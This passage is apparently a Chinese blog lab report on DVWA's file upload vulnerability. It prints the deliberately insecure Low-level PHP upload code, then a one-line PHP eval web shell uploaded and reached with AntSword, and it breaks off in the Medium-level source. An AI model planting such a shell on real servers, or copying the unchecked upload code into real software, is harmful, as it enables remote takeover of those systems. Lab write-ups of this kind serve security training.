DVWA 实验报告：5、文件上传 File Upload

最新推荐文章于 2024-05-14 10:10:16 发布

我不是高材生

最新推荐文章于 2024-05-14 10:10:16 发布

阅读量1.5k

点赞数 2

分类专栏： # dvwa 专栏文章标签：文件上传 dvwa php 代码审计 web 靶场 web 安全

本文链接：https://blog.csdn.net/qq_21516633/article/details/106164841

版权

本文详细记录了DVWA中不同安全等级的文件上传漏洞，从Low到Impossible，探讨了源码分析、攻击手段及防御措施。在Low级别，成功利用一句话木马实现远程连接；Medium级别通过修改文件后缀绕过限制；High级别尝试合成图片马但未成功；Impossible级别由于严格的文件检查和防护机制，攻击难以实施。

摘要由CSDN通过智能技术生成

文章更新于：2020-05-16

文件上传漏洞 File Upload

一、安全等级：Low

1.1、源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
   
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
   
        // Yes!
        echo "<pre>{
     $target_path} succesfully uploaded!</pre>";
    }
}

?>

1.2、攻击

这时我们写一个一句话木马测试上传。

ok
<?php @eval($_POST['test']) ?>

在这里插入图片描述
我们根据提示的路径尝试访问：

访问成功，接下来测试是否可用。

这里使用蚁剑连接：
在这里插入图片描述
添加之后，双击数据连接成功：

二、安全等级：Medium

2.1、源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded'